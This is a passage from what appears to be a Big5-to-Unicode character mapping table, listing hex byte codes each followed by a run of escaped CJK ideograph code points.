B6\u5EB5\u5EBE\u5F35\u5F37\u5F57\u5F6C\u5F69\u5F6B\u5F97\u5F99\u5F9E\u5F98\u5FA1\u5FA0\u5F9C\u607F\u60A3\u6089\u60A0\u60A8\u60CB\u60B4\u60E6\u60BD"],["b1a1","\u60C5\u60BB\u60B5\u60DC\u60BC\u60D8\u60D5\u60C6\u60DF\u60B8\u60DA\u60C7\u621A\u621B\u6248\u63A0\u63A7\u6372\u6396\u63A2\u63A5\u6377\u6367\u6398\u63AA\u6371\u63A9\u6389\u6383\u639B\u636B\u63A8\u6384\u6388\u6399\u63A1\u63AC\u6392\u638F\u6380\u637B\u6369\u6368\u637A\u655D\u6556\u6551\u6559\u6557\u555F\u654F\u6558\u6555\u6554\u659C\u659B\u65AC\u65CF\u65CB\u65CC\u65CE\u665D\u665A\u6664\u6668\u6666\u665E\u66F9\u52D7\u671B\u6881\u68AF\u68A2\u6893\u68B5\u687F\u6876\u68B1\u68A7\u6897\u68B0\u6883\u68C4\u68AD\u6886\u6885\u6894\u689D\u68A8\u689F\u68A1\u6882\u6B32\u6BBA"],["b240","\u6BEB\u6BEC\u6C2B\u6D8E\u6DBC\u6DF3\u6DD9\u6DB2\u6DE1\u6DCC\u6DE4\u6DFB\u6DFA\u6E05\u6DC7\u6DCB\u6DAF\u6DD1\u6DAE\u6DDE\u6DF9\u6DB8\u6DF7\u6DF5\u6DC5\u6DD2\u6E1A\u6DB5\u6DDA\u6DEB\u6DD8\u6DEA\u6DF1\u6DEE\u6DE8\u6DC6\u6DC4\u6DAA\u6DEC\u6DBF\u6DE6\u70F9\u7109\u710A\u70FD\u70EF\u723D\u727D\u7281\u731C\u731B\u7316\u7313\u7319\u7387\u7405\u740A\u7403\u7406\u73FE\u740D\u74E0\u74F6"],["b2a1","\u74F7\u751C\u7522\u7565\u7566\u7562\u7570\u758F\u75D4\u75D5\u75B5\u75CA\u75CD\u768E\u76D4\u76D2\u76DB\u7737\u773E\u773C\u7736\u7738\u773A\u786B\u7843\u784E\u7965\u7968\u796D\u79FB\u7A92\u7A95\u7B20\u7B28\u7B1B\u7B2C\u7B26\u7B19\u7B1E\u7B2E\u7C92\u7C97\u7C95\u7D46\u7D43\u7D71\u7D2E\u7D39\u7D3C\u7D40\u7D30\u7D33\u7D44\u7D2F\u7D42\u7D32\u7D31\u7F3D\u7F9E\u7F9A\u7FCC\u7FCE\u7FD2\u801C\u804A\u8046\u812F\u8116\u8123\u812B\u8129\u8130\u8124\u8202\u8235\u8237\u8236\u8239\u838E\u839E\u8398\u8378\u83A2\u8396\u83BD\u83AB\u8392\u838A\u8393\u8389\u83A0\u8377\u837B\u837C"],["b340","\u8386\u83A7\u8655\u5F6A\u86C7\u86C0\u86B6\u86C4\u86B5\u86C6\u86CB\u86B1\u86AF\u86C9\u8853\u889E\u8888\u88AB\u8892\u8896\u888D\u888B\u8993\u898F\u8A2A\u8A1D\u8A23\u8A25\u8A31\u8A2D\u8A1F\u8A1B\u8A22\u8C49\u8C5A\u8CA9\u8CAC\u8CAB\u8CA8\u8CAA\u8CA7\u8D67\u8D66\u8DBE\u8DBA\u8EDB\u8EDF\u9019\u900D\u901A\u9017\u9023\u901F\u901D\u9010\u9015\u901E\u9020\u900F\u9022\u9016\u901B\u9014"],["b3a1","\u90E8\u90ED\u90FD\u9157\u91CE\u91F5\u91E6\u91E3\u91E7\u91ED\u91E9\u9589\u966A\u9675\u9673\u9678\u9670\u9674\u9676\u9677\u966C\u96C0\u96EA\u96E9\u7AE0\u7ADF\u9802\u9803\u9B5A\u9CE5\u9E75\u9E7F\u9EA5\u9EBB\u50A2\u508D\u5085\u5099\u5091\u5080\u5096\u5098\u509A\u6700\u51F1\u5272\u5274\u5275\u5269\u52DE\u52DD\u52DB\u535A\u53A5\u557B\u5580\u55A7\u557C\u558A\u559D\u5598\u5582\u559C\u55AA\u5594\u5587\u558B\u5583\u55B3\u55AE\u559F\u553E\u55B2\u559A\u55BB\u55AC\u55B1\u557E\u5589\u55AB\u5599\u570D\u582F\u582A\u5834\u5824\u5830\u5831\u5821\u581D\u5820\u58F9\u58FA\u5960"],["b440","\u5A77\u5A9A\u5A7F\u5A92\u5A9B\u5AA7\u5B73\u5B71\u5BD2\u5BCC\u5BD3\u5BD0\u5C0A\u5C0B\u5C31\u5D4C\u5D50\u5D34\u5D47\u5DFD\u5E45\u5E3D\u5E40\u5E43\u5E7E\u5ECA\u5EC1\u5EC2\u5EC4\u5F3C\u5F6D\u5FA9\u5FAA\u5FA8\u60D1\u60E1\u60B2\u60B6\u60E0\u611C\u6123\u60FA\u6115\u60F0\u60FB\u60F4\u6168\u60F1\u610E\u60F6\u6109\u6100\u6112\u621F\u6249\u63A3\u638C\u63CF\u63C0\u63E9\u63C9\u63C6\u63CD"],["b4a1","\u63D2\u63E3\u63D0\u63E1\u63D6\u63ED\u63EE\u6376\u63F4\u63EA\u63DB\u6452\u63DA\u63F9\u655E\u6566\u6562\u6563\u6591\u6590\u65AF\u666E\u6670\u6674\u6676\u666F\u6691\u667A\u667E\u6677\u66FE\u66FF\u671F\u671D\u68FA\u68D5\u68E0\u68D8\u68D7\u6905\u68DF\u68F5\u68EE\u68E7\u68F9\u68D2\u68F2\u68E3\u68CB\u68CD\u690D\u6912\u690E\u68C9\u68DA\u696E\u68FB\u6B3E\u6B3A\u6B3D\u6B98\u6B96\u6BBC\u6BEF\u6C2E\u6C2F\u6C2C\u6E2F\u6E38\u6E54\u6E21\u6E32\u6E67\u6E4A\u6E20\u6E25\u6E23\u6E1B\u6E5B\u6E58\u6E24\u6E56\u6E6E\u6E2D\u6E26\u6E6F\u6E34\u6E4D\u6E3A\u6E2C\u6E43\u6E1D\u6E3E\u6ECB"],["b540","\u6E89\u6E19\u6E4E\u6E63\u6E44\u6E72\u6E69\u6E5F\u7119\u711A\u7126\u7130\u7121\u7136\u716E\u711C\u724C\u7284\u7280\u7336\u7325\u7334\u7329\u743A\u742A\u7433\u7422\u7425\u7435\u7436\u7434\u742F\u741B\u7426\u7428\u7525\u7526\u756B\u756A\u75E2\u75DB\u75E3\u75D9\u75D8\u75DE\u75E0\u767B\u767C\u7696\u7693\u76B4\u76DC\u774F\u77ED\u785D\u786C\u786F\u7A0D\u7A08\u7A0B\u7A05\u7A00\u7A98"],["b5a1","\u7A97\u7A96\u7AE5\u7AE3\u7B49\u7B56\u7B46\u7B50\u7B52\u7B54\u7B4D\u7B4B\u7B4F\u7B51\u7C9F\u7CA5\u7D5E\u7D50\u7D68\u7D55\u7D2B\u7D6E\u7D72\u7D61\u7D66\u7D62\u7D70\u7D73\u5584\u7FD4\u7FD5\u800B\u8052\u8085\u8155\u8154\u814B\u8151\u814E\u8139\u8146\u813E\u814C\u8153\u8174\u8212\u821C\u83E9\u8403\u83F8\u840D\u83E0\u83C5\u840B\u83C1\u83EF\u83F1\u83F4\u8457\u840A\u83F0\u840C\u83CC\u83FD\u83F2\u83CA\u8438\u840E\u8404\u83DC\u8407\u83D4\u83DF\u865B\u86DF\u86D9\u86ED\u86D4\u86DB\u86E4\u86D0\u86DE\u8857\u88C1\u88C2\u88B1\u8983\u8996\u8A3B\u8A60\u8A55\u8A5E\u8A3C\u8A41"],["b640","\u8A54\u8A5B\u8A50\u8A46\u8A34\u8A3A\u8A36\u8A56\u8C61\u8C82\u8CAF\u8CBC\u8CB3\u8CBD\u8CC1\u8CBB\u8CC0\u8CB4\u8CB7\u8CB6\u8CBF\u8CB8\u8D8A\u8D85\u8D81\u8DCE\u8DDD\u8DCB\u8DDA\u8DD1\u8DCC\u8DDB\u8DC6\u8EFB\u8EF8\u8EFC\u8F9C\u902E\u9035\u9031\u9038\u9032\u9036\u9102\u90F5\u9109\u90FE\u9163\u9165\u91CF\u9214\u9215\u9223\u9209\u921E\u920D\u9210\u9207\u9211\u9594\u958F\u958B\u9591"],["b6a1","\u9593\u9592\u958E\u968A\u968E\u968B\u967D\u9685\u9686\u968D\u9672\u9684\u96C1\u96C5\u96C4\u96C6\u96C7\u96EF\u96F2\u97CC\u9805\u9806\u9808\u98E7\u98EA\u98EF\u98E9\u98F2\u98ED\u99AE\u99AD\u9EC3\u9ECD\u9ED1\u4E82\u50AD\u50B5\u50B2\u50B3\u50C5\u50BE\u50AC\u50B7\u50BB\u50AF\u50C7\u527F\u5277\u527D\u52DF\u52E6\u52E4\u52E2\u52E3\u532F\u55DF\u55E8\u55D3\u55E6\u55CE\u55DC\u55C7\u55D1\u55E3\u55E4\u55EF\u55DA\u55E1\u55C5\u55C6\u55E5\u55C9\u5712\u5713\u585E\u5851\u5858\u5857\u585A\u5854\u586B\u584C\u586D\u584A\u5862\u5852\u584B\u5967\u5AC1\u5AC9\u5ACC\u5ABE\u5ABD\u5ABC"],["b740","\u5AB3\u5AC2\u5AB2\u5D69\u5D6F\u5E4C\u5E79\u5EC9\u5EC8\u5F12\u5F59\u5FAC\u5FAE\u611A\u610F\u6148\u611F\u60F3\u611B\u60F9\u6101\u6108\u614E\u614C\u6144\u614D\u613E\u6134\u6127\u610D\u6106\u6137\u6221\u6222\u6413\u643E\u641E\u642A\u642D\u643D\u642C\u640F\u641C\u6414\u640D\u6436\u6416\u6417\u6406\u656C\u659F\u65B0\u6697\u6689\u6687\u6688\u6696\u6684\u6698\u668D\u6703\u6994\u696D"],["b7a1","\u695A\u6977\u6960\u6954\u6975\u6930\u6982\u694A\u6968\u696B\u695E\u6953\u6979\u6986\u695D\u6963\u695B\u6B47\u6B72\u6BC0\u6BBF\u6BD3\u6BFD\u6EA2\u6EAF\u6ED3\u6EB6\u6EC2\u6E90\u6E9D\u6EC7\u6EC5\u6EA5\u6E98\u6EBC\u6EBA\u6EAB\u6ED1\u6E96\u6E9C\u6EC4\u6ED4\u6EAA\u6EA7\u6EB4\u714E\u7159\u7169\u7164\u7149\u7167\u715C\u716C\u7166\u714C\u7165\u715E\u7146\u7168\u7156\u723A\u7252\u7337\u7345\u733F\u733E\u746F\u745A\u7455\u745F\u745E\u7441\u743F\u7459\u745B\u745C\u7576\u7578\u7600\u75F0\u7601\u75F2\u75F1\u75FA\u75FF\u75F4\u75F3\u76DE\u76DF\u775B\u776B\u7766\u775E\u7763"],["b840","\u7779\u776A\u776C\u775C\u7765\u7768\u7762\u77EE\u788E\u78B0\u7897\u7898\u788C\u7889\u787C\u7891\u7893\u787F\u797A\u797F\u7981\u842C\u79BD\u7A1C\u7A1A\u7A20\u7A14\u7A1F\u7A1E\u7A9F\u7AA0\u7B77\u7BC0\u7B60\u7B6E\u7B67\u7CB1\u7CB3\u7CB5\u7D93\u7D79\u7D91\u7D81\u7D8F\u7D5B\u7F6E\u7F69\u7F6A\u7F72\u7FA9\u7FA8\u7FA4\u8056\u8058\u8086\u8084\u8171\u8170\u8178\u8165\u816E\u8173\u816B"],["b8a1","\u8179\u817A\u8166\u8205\u8247\u8482\u8477\u843D\u8431\u8475\u8466\u846B\u8449\u846C\u845B\u843C\u8435\u8461\u8463\u8469\u846D\u8446\u865E\u865C\u865F\u86F9\u8713\u8708\u8707\u8700\u86FE\u86FB\u8702\u8703\u8706\u870A\u8859\u88DF\u88D4\u88D9\u88DC\u88D8\u88DD\u88E1\u88CA\u88D5\u88D2\u899C\u89E3\u8A6B\u8A72\u8A73\u8A66\u8A69\u8A70\u8A87\u8A7C\u8A63\u8AA0\u8A71\u8A85\u8A6D\u8A62\u8A6E\u8A6C\u8A79\u8A7B\u8A3E\u8A68\u8C62\u8C8A\u8C89\u8CCA\u8CC7\u8CC8\u8CC4\u8CB2\u8CC3\u8CC2\u8CC5\u8DE1\u8DDF\u8DE8\u8DEF\u8DF3\u8DFA\u8DEA\u8DE4\u8DE6\u8EB2\u8F03\u8F09\u8EFE\u8F0A"],["b940","\u8F9F\u8FB2\u904B\u904A\u9053\u9042\u9054\u903C\u9055\u9050\u9047\u904F\u904E\u904D\u9051\u903E\u9041\u9112\u9117\u916C\u916A\u9169\u91C9\u9237\u9257\u9238\u923D\u9240\u923E\u925B\u924B\u9264\u9251\u9234\u9249\u924D\u9245\u9239\u923F\u925A\u9598\u9698\u9694\u9695\u96CD\u96CB\u96C9\u96CA\u96F7\u96FB\u96F9\u96F6\u9756\u9774\u9776\u9810\u9811\u9813\u980A\u9812\u980C\u98FC\u98F4"],["b9a1","\u98FD\u98FE\u99B3\u99B1\u99B4\u9AE1\u9CE9\u9E82\u9F0E\u9F13\u9F20\u50E7\u50EE\u50E5\u50D6\u50ED\u50DA\u50D5\u50CF\u50D1\u50F1\u50CE\u50E9\u5162\u51F3\u5283\u5282\u5331\u53AD\u55FE\u5600\u561B\u5617\u55FD\u5614\u5606\u5609\u560D\u560E\u55F7\u5616\u561F\u5608\u5610\u55F6\u5718\u5716\u5875\u587E\u5883\u5893\u588A\u5879\u5885\u587D\u58FD\u5925\u5922\u5924\u596A\u5969\u5AE1\u5AE6\u5AE9\u5AD7\u5AD6\u5AD8\u5AE3\u5B75\u5BDE\u5BE7\u5BE1\u5BE5\u5BE6\u5BE8\u5BE2\u5BE4\u5BDF\u5C0D\u5C62\u5D84\u5D87\u5E5B\u5E63\u5E55\u5E57\u5E54\u5ED3\u5ED6\u5F0A\u5F46\u5F70\u5FB9\u6147"],["ba40","\u613F\u614B\u6177\u6162\u6163\u615F\u615A\u6158\u6175\u622A\u6487\u6458\u6454\u64A4\u6478\u645F\u647A\u6451\u6467\u6434\u646D\u647B\u6572\u65A1\u65D7\u65D6\u66A2\u66A8\u669D\u699C\u69A8\u6995\u69C1\u69AE\u69D3\u69CB\u699B\u69B7\u69BB\u69AB\u69B4\u69D0\u69CD\u69AD\u69CC\u69A6\u69C3\u69A3\u6B49\u6B4C\u6C33\u6F33\u6F14\u6EFE\u6F13\u6EF4\u6F29\u6F3E\u6F20\u6F2C\u6F0F\u6F02\u6F22"],["baa1","\u6EFF\u6EEF\u6F06\u6F31\u6F38\u6F32\u6F23\u6F15\u6F2B\u6F2F\u6F88\u6F2A\u6EEC\u6F01\u6EF2\u6ECC\u6EF7\u7194\u7199\u717D\u718A\u7184\u7192\u723E\u7292\u7296\u7344\u7350\u7464\u7463\u746A\u7470\u746D\u7504\u7591\u7627\u760D\u760B\u7609\u7613\u76E1\u76E3\u7784\u777D\u777F\u7761\u78C1\u789F\u78A7\u78B3\u78A9\u78A3\u798E\u798F\u798D\u7A2E\u7A31\u7AAA\u7AA9\u7AED\u7AEF\u7BA1\u7B95\u7B8B\u7B75\u7B97\u7B9D\u7B94\u7B8F\u7BB8\u7B87\u7B84\u7CB9\u7CBD\u7CBE\u7DBB\u7DB0\u7D9C\u7DBD\u7DBE\u7DA0\u7DCA\u7DB4\u7DB2\u7DB1\u7DBA\u7DA2\u7DBF\u7DB5\u7DB8\u7DAD\u7DD2\u7DC7\u7DAC"],["bb40","\u7F70\u7FE0\u7FE1\u7FDF\u805E\u805A\u8087\u8150\u8180\u818F\u8188\u818A\u817F\u8182\u81E7\u81FA\u8207\u8214\u821E\u824B\u84C9\u84BF\u84C6\u84C4\u8499\u849E\u84B2\u849C\u84CB\u84B8\u84C0\u84D3\u8490\u84BC\u84D1\u84CA\u873F\u871C\u873B\u8722\u8725\u8734\u8718\u8755\u8737\u8729\u88F3\u8902\u88F4\u88F9\u88F8\u88FD\u88E8\u891A\u88EF\u8AA6\u8A8C\u8A9E\u8AA3\u8A8D\u8AA1\u8A93\u8AA4"],["bba1","\u8AAA\u8AA5\u8AA8\u8A98\u8A91\u8A9A\u8AA7\u8C6A\u8C8D\u8C8C\u8CD3\u8CD1\u8CD2\u8D6B\u8D99\u8D95\u8DFC\u8F14\u8F12\u8F15\u8F13\u8FA3\u9060\u9058\u905C\u9063\u9059\u905E\u9062\u905D\u905B\u9119\u9118\u911E\u9175\u9178\u9177\u9174\u9278\u9280\u9285\u9298\u9296\u927B\u9293\u929C\u92A8\u927C\u9291\u95A1\u95A8\u95A9\u95A3\u95A5\u95A4\u9699\u969C\u969B\u96CC\u96D2\u9700\u977C\u9785\u97F6\u9817\u9818\u98AF\u98B1\u9903\u9905\u990C\u9909\u99C1\u9AAF\u9AB0\u9AE6\u9B41\u9B42\u9CF4\u9CF6\u9CF3\u9EBC\u9F3B\u9F4A\u5104\u5100\u50FB\u50F5\u50F9\u5102\u5108\u5109\u5105\u51DC"],["bc40","\u5287\u5288\u5289\u528D\u528A\u52F0\u53B2\u562E\u563B\u5639\u5632\u563F\u5634\u5629\u5653\u564E\u5657\u5674\u5636\u562F\u5630\u5880\u589F\u589E\u58B3\u589C\u58AE\u58A9\u58A6\u596D\u5B09\u5AFB\u5B0B\u5AF5\u5B0C\u5B08\u5BEE\u5BEC\u5BE9\u5BEB\u5C64\u5C65\u5D9D\u5D94\u5E62\u5E5F\u5E61\u5EE2\u5EDA\u5EDF\u5EDD\u5EE3\u5EE0\u5F48\u5F71\u5FB7\u5FB5\u6176\u6167\u616E\u615D\u6155\u6182"],["bca1","\u617C\u6170\u616B\u617E\u61A7\u6190\u61AB\u618E\u61AC\u619A\u61A4\u6194\u61AE\u622E\u6469\u646F\u6479\u649E\u64B2\u6488\u6490\u64B0\u64A5\u6493\u6495\u64A9\u6492\u64AE\u64AD\u64AB\u649A\u64AC\u6499\u64A2\u64B3\u6575\u6577\u6578\u66AE\u66AB\u66B4\u66B1\u6A23\u6A1F\u69E8\u6A01\u6A1E\u6A19\u69FD\u6A21\u6A13\u6A0A\u69F3\u6A02\u6A05\u69ED\u6A11\u6B50\u6B4E\u6BA4\u6BC5\u6BC6\u6F3F\u6F7C\u6F84\u6F51\u6F66\u6F54\u6F86\u6F6D\u6F5B\u6F78\u6F6E\u6F8E\u6F7A\u6F70\u6F64\u6F97\u6F58\u6ED5\u6F6F\u6F60\u6F5F\u719F\u71AC\u71B1\u71A8\u7256\u729B\u734E\u7357\u7469\u748B\u7483"],["bd40","\u747E\u7480\u757F\u7620\u7629\u761F\u7624\u7626\u7621\u7622\u769A\u76BA\u76E4\u778E\u7787\u778C\u7791\u778B\u78CB\u78C5\u78BA\u78CA\u78BE\u78D5\u78BC\u78D0\u7A3F\u7A3C\u7A40\u7A3D\u7A37\u7A3B\u7AAF\u7AAE\u7BAD\u7BB1\u7BC4\u7BB4\u7BC6\u7BC7\u7BC1\u7BA0\u7BCC\u7CCA\u7DE0\u7DF4\u7DEF\u7DFB\u7DD8\u7DEC\u7DDD\u7DE8\u7DE3\u7DDA\u7DDE\u7DE9\u7D9E\u7DD9\u7DF2\u7DF9\u7F75\u7F77\u7FAF"],["bda1","\u7FE9\u8026\u819B\u819C\u819D\u81A0\u819A\u8198\u8517\u853D\u851A\u84EE\u852C\u852D\u8513\u8511\u8523\u8521\u8514\u84EC\u8525\u84FF\u8506\u8782\u8774\u8776\u8760\u8766\u8778\u8768\u8759\u8757\u874C\u8753\u885B\u885D\u8910\u8907\u8912\u8913\u8915\u890A\u8ABC\u8AD2\u8AC7\u8AC4\u8A95\u8ACB\u8AF8\u8AB2\u8AC9\u8AC2\u8ABF\u8AB0\u8AD6\u8ACD\u8AB6\u8AB9\u8ADB\u8C4C\u8C4E\u8C6C\u8CE0\u8CDE\u8CE6\u8CE4\u8CEC\u8CED\u8CE2\u8CE3\u8CDC\u8CEA\u8CE1\u8D6D\u8D9F\u8DA3\u8E2B\u8E10\u8E1D\u8E22\u8E0F\u8E29\u8E1F\u8E21\u8E1E\u8EBA\u8F1D\u8F1B\u8F1F\u8F29\u8F26\u8F2A\u8F1C\u8F1E"],["be40","\u8F25\u9069\u906E\u9068\u906D\u9077\u9130\u912D\u9127\u9131\u9187\u9189\u918B\u9183\u92C5\u92BB\u92B7\u92EA\u92AC\u92E4\u92C1\u92B3\u92BC\u92D2\u92C7\u92F0\u92B2\u95AD\u95B1\u9704\u9706\u9707\u9709\u9760\u978D\u978B\u978F\u9821\u982B\u981C\u98B3\u990A\u9913\u9912\u9918\u99DD\u99D0\u99DF\u99DB\u99D1\u99D5\u99D2\u99D9\u9AB7\u9AEE\u9AEF\u9B27\u9B45\u9B44\u9B77\u9B6F\u9D06\u9D09"],["bea1","\u9D03\u9EA9\u9EBE\u9ECE\u58A8\u9F52\u5112\u5118\u5114\u5110\u5115\u5180\u51AA\u51DD\u5291\u5293\u52F3\u5659\u566B\u5679\u5669\u5664\u5678\u566A\u5668\u5665\u5671\u566F\u566C\u5662\u5676\u58C1\u58BE\u58C7\u58C5\u596E\u5B1D\u5B34\u5B78\u5BF0\u5C0E\u5F4A\u61B2\u6191\u61A9\u618A\u61CD\u61B6\u61BE\u61CA\u61C8\u6230\u64C5\u64C1\u64CB\u64BB\u64BC\u64DA\u64C4\u64C7\u64C2\u64CD\u64BF\u64D2\u64D4\u64BE\u6574\u66C6\u66C9\u66B9\u66C4\u66C7\u66B8\u6A3D\u6A38\u6A3A\u6A59\u6A6B\u6A58\u6A39\u6A44\u6A62\u6A61\u6A4B\u6A47\u6A35\u6A5F\u6A48\u6B59\u6B77\u6C05\u6FC2\u6FB1\u6FA1"],["bf40","\u6FC3\u6FA4\u6FC1\u6FA7\u6FB3\u6FC0\u6FB9\u6FB6\u6FA6\u6FA0\u6FB4\u71BE\u71C9\u71D0\u71D2\u71C8\u71D5\u71B9\u71CE\u71D9\u71DC\u71C3\u71C4\u7368\u749C\u74A3\u7498\u749F\u749E\u74E2\u750C\u750D\u7634\u7638\u763A\u76E7\u76E5\u77A0\u779E\u779F\u77A5\u78E8\u78DA\u78EC\u78E7\u79A6\u7A4D\u7A4E\u7A46\u7A4C\u7A4B\u7ABA\u7BD9\u7C11\u7BC9\u7BE4\u7BDB\u7BE1\u7BE9\u7BE6\u7CD5\u7CD6\u7E0A"],["bfa1","\u7E11\u7E08\u7E1B\u7E23\u7E1E\u7E1D\u7E09\u7E10\u7F79\u7FB2\u7FF0\u7FF1\u7FEE\u8028\u81B3\u81A9\u81A8\u81FB\u8208\u8258\u8259\u854A\u8559\u8548\u8568\u8569\u8543\u8549\u856D\u856A\u855E\u8783\u879F\u879E\u87A2\u878D\u8861\u892A\u8932\u8925\u892B\u8921\u89AA\u89A6\u8AE6\u8AFA\u8AEB\u8AF1\u8B00\u8ADC\u8AE7\u8AEE\u8AFE\u8B01\u8B02\u8AF7\u8AED\u8AF3\u8AF6\u8AFC\u8C6B\u8C6D\u8C93\u8CF4\u8E44\u8E31\u8E34\u8E42\u8E39\u8E35\u8F3B\u8F2F\u8F38\u8F33\u8FA8\u8FA6\u9075\u9074\u9078\u9072\u907C\u907A\u9134\u9192\u9320\u9336\u92F8\u9333\u932F\u9322\u92FC\u932B\u9304\u931A"],["c040","\u9310\u9326\u9321\u9315\u932E\u9319\u95BB\u96A7\u96A8\u96AA\u96D5\u970E\u9711\u9716\u970D\u9713\u970F\u975B\u975C\u9766\u9798\u9830\u9838\u983B\u9837\u982D\u9839\u9824\u9910\u9928\u991E\u991B\u9921\u991A\u99ED\u99E2\u99F1\u9AB8\u9ABC\u9AFB\u9AED\u9B28\u9B91\u9D15\u9D23\u9D26\u9D28\u9D12\u9D1B\u9ED8\u9ED4\u9F8D\u9F9C\u512A\u511F\u5121\u5132\u52F5\u568E\u5680\u5690\u5685\u5687"],["c0a1","\u568F\u58D5\u58D3\u58D1\u58CE\u5B30\u5B2A\u5B24\u5B7A\u5C37\u5C68\u5DBC\u5DBA\u5DBD\u5DB8\u5E6B\u5F4C\u5FBD\u61C9\u61C2\u61C7\u61E6\u61CB\u6232\u6234\u64CE\u64CA\u64D8\u64E0\u64F0\u64E6\u64EC\u64F1\u64E2\u64ED\u6582\u6583\u66D9\u66D6\u6A80\u6A94\u6A84\u6AA2\u6A9C\u6ADB\u6AA3\u6A7E\u6A97\u6A90\u6AA0\u6B5C\u6BAE\u6BDA\u6C08\u6FD8\u6FF1\u6FDF\u6FE0\u6FDB\u6FE4\u6FEB\u6FEF\u6F80\u6FEC\u6FE1\u6FE9\u6FD5\u6FEE\u6FF0\u71E7\u71DF\u71EE\u71E6\u71E5\u71ED\u71EC\u71F4\u71E0\u7235\u7246\u7370\u7372\u74A9\u74B0\u74A6\u74A8\u7646\u7642\u764C\u76EA\u77B3\u77AA\u77B0\u77AC"],["c140","\u77A7\u77AD\u77EF\u78F7\u78FA\u78F4\u78EF\u7901\u79A7\u79AA\u7A57\u7ABF\u7C07\u7C0D\u7BFE\u7BF7\u7C0C\u7BE0\u7CE0\u7CDC\u7CDE\u7CE2\u7CDF\u7CD9\u7CDD\u7E2E\u7E3E\u7E46\u7E37\u7E32\u7E43\u7E2B\u7E3D\u7E31\u7E45\u7E41\u7E34\u7E39\u7E48\u7E35\u7E3F\u7E2F\u7F44\u7FF3\u7FFC\u8071\u8072\u8070\u806F\u8073\u81C6\u81C3\u81BA\u81C2\u81C0\u81BF\u81BD\u81C9\u81BE\u81E8\u8209\u8271\u85AA"],["c1a1","\u8584\u857E\u859C\u8591\u8594\u85AF\u859B\u8587\u85A8\u858A\u8667\u87C0\u87D1\u87B3\u87D2\u87C6\u87AB\u87BB\u87BA\u87C8\u87CB\u893B\u8936\u8944\u8938\u893D\u89AC\u8B0E\u8B17\u8B19\u8B1B\u8B0A\u8B20\u8B1D\u8B04\u8B10\u8C41\u8C3F\u8C73\u8CFA\u8CFD\u8CFC\u8CF8\u8CFB\u8DA8\u8E49\u8E4B\u8E48\u8E4A\u8F44\u8F3E\u8F42\u8F45\u8F3F\u907F\u907D\u9084\u9081\u9082\u9080\u9139\u91A3\u919E\u919C\u934D\u9382\u9328\u9375\u934A\u9365\u934B\u9318\u937E\u936C\u935B\u9370\u935A\u9354\u95CA\u95CB\u95CC\u95C8\u95C6\u96B1\u96B8\u96D6\u971C\u971E\u97A0\u97D3\u9846\u98B6\u9935\u9A01"],["c240","\u99FF\u9BAE\u9BAB\u9BAA\u9BAD\u9D3B\u9D3F\u9E8B\u9ECF\u9EDE\u9EDC\u9EDD\u9EDB\u9F3E\u9F4B\u53E2\u5695\u56AE\u58D9\u58D8\u5B38\u5F5D\u61E3\u6233\u64F4\u64F2\u64FE\u6506\u64FA\u64FB\u64F7\u65B7\u66DC\u6726\u6AB3\u6AAC\u6AC3\u6ABB\u6AB8\u6AC2\u6AAE\u6AAF\u6B5F\u6B78\u6BAF\u7009\u700B\u6FFE\u7006\u6FFA\u7011\u700F\u71FB\u71FC\u71FE\u71F8\u7377\u7375\u74A7\u74BF\u7515\u7656\u7658"],["c2a1","\u7652\u77BD\u77BF\u77BB\u77BC\u790E\u79AE\u7A61\u7A62\u7A60\u7AC4\u7AC5\u7C2B\u7C27\u7C2A\u7C1E\u7C23\u7C21\u7CE7\u7E54\u7E55\u7E5E\u7E5A\u7E61\u7E52\u7E59\u7F48\u7FF9\u7FFB\u8077\u8076\u81CD\u81CF\u820A\u85CF\u85A9\u85CD\u85D0\u85C9\u85B0\u85BA\u85B9\u85A6\u87EF\u87EC\u87F2\u87E0\u8986\u89B2\u89F4\u8B28\u8B39\u8B2C\u8B2B\u8C50\u8D05\u8E59\u8E63\u8E66\u8E64\u8E5F\u8E55\u8EC0\u8F49\u8F4D\u9087\u9083\u9088\u91AB\u91AC\u91D0\u9394\u938A\u9396\u93A2\u93B3\u93AE\u93AC\u93B0\u9398\u939A\u9397\u95D4\u95D6\u95D0\u95D5\u96E2\u96DC\u96D9\u96DB\u96DE\u9724\u97A3\u97A6"],["c340","\u97AD\u97F9\u984D\u984F\u984C\u984E\u9853\u98BA\u993E\u993F\u993D\u992E\u99A5\u9A0E\u9AC1\u9B03\u9B06\u9B4F\u9B4E\u9B4D\u9BCA\u9BC9\u9BFD\u9BC8\u9BC0\u9D51\u9D5D\u9D60\u9EE0\u9F15\u9F2C\u5133\u56A5\u58DE\u58DF\u58E2\u5BF5\u9F90\u5EEC\u61F2\u61F7\u61F6\u61F5\u6500\u650F\u66E0\u66DD\u6AE5\u6ADD\u6ADA\u6AD3\u701B\u701F\u7028\u701A\u701D\u7015\u7018\u7206\u720D\u7258\u72A2\u7378"],["c3a1","\u737A\u74BD\u74CA\u74E3\u7587\u7586\u765F\u7661\u77C7\u7919\u79B1\u7A6B\u7A69\u7C3E\u7C3F\u7C38\u7C3D\u7C37\u7C40\u7E6B\u7E6D\u7E79\u7E69\u7E6A\u7F85\u7E73\u7FB6\u7FB9\u7FB8\u81D8\u85E9\u85DD\u85EA\u85D5\u85E4\u85E5\u85F7\u87FB\u8805\u880D\u87F9\u87FE\u8960\u895F\u8956\u895E\u8B41\u8B5C\u8B58\u8B49\u8B5A\u8B4E\u8B4F\u8B46\u8B59\u8D08\u8D0A\u8E7C\u8E72\u8E87\u8E76\u8E6C\u8E7A\u8E74\u8F54\u8F4E\u8FAD\u908A\u908B\u91B1\u91AE\u93E1\u93D1\u93DF\u93C3\u93C8\u93DC\u93DD\u93D6\u93E2\u93CD\u93D8\u93E4\u93D7\u93E8\u95DC\u96B4\u96E3\u972A\u9727\u9761\u97DC\u97FB\u985E"],["c440","\u9858\u985B\u98BC\u9945\u9949\u9A16\u9A19\u9B0D\u9BE8\u9BE7\u9BD6\u9BDB\u9D89\u9D61\u9D72\u9D6A\u9D6C\u9E92\u9E97\u9E93\u9EB4\u52F8\u56A8\u56B7\u56B6\u56B4\u56BC\u58E4\u5B40\u5B43\u5B7D\u5BF6\u5DC9\u61F8\u61FA\u6518\u6514\u6519\u66E6\u6727\u6AEC\u703E\u7030\u7032\u7210\u737B\u74CF\u7662\u7665\u7926\u792A\u792C\u792B\u7AC7\u7AF6\u7C4C\u7C43\u7C4D\u7CEF\u7CF0\u8FAE\u7E7D\u7E7C"],["c4a1","\u7E82\u7F4C\u8000\u81DA\u8266\u85FB\u85F9\u8611\u85FA\u8606\u860B\u8607\u860A\u8814\u8815\u8964\u89BA\u89F8\u8B70\u8B6C\u8B66\u8B6F\u8B5F\u8B6B